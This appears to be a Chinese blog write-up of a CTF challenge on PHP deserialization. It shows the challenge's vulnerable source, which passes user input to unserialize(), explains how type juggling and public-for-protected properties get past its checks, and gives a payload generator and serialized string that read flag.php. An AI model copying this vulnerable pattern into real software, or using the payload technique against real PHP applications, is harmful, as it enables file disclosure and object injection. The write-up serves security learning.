[网鼎杯 2020 青龙组]AreUSerialz1

今天做了一道比较有趣的反序列化题目([网鼎杯 2020 青龙组]AreUSerialz1),寻思着记录一下。先看源代码

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

先来分析一下这道题目的代码,首先可以排除construct这个魔术方法,这里并没有进行序列化,

然后有个is_valid($s)判断,这个主要是会使得我们在序列化protected属性的变量时带着的空字符被检测出来。

所以我们可以考虑用public替代protected的方法将它绕过(这里参考大佬的wp得知对于PHP版本7.1+,对属性的类型不敏感)。

然后我们想要打开flag.php,可以考虑走op == "2"这条路径,然后注意到析构函数destruct那里与"2"的比较为强比较,而process是弱比较,所以考虑绕过方法,由于两边都是字符串"2",以"2a"方式绕过是不现实的,所以考虑用

$op=2

这一方式进行绕过,这样成功将$res赋值file_get_contents($this->filename)并output

payload:

<?php
class FileHandler {
    public $op=2;
    public $filename="flag.php";
    public $content;
}
$a=new FileHandler();
echo serialize($a);

// O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

F12查看源代码就能看到flag

posted @ 2024-11-07 19:23  C1ves  阅读(183)  评论(0)    收藏  举报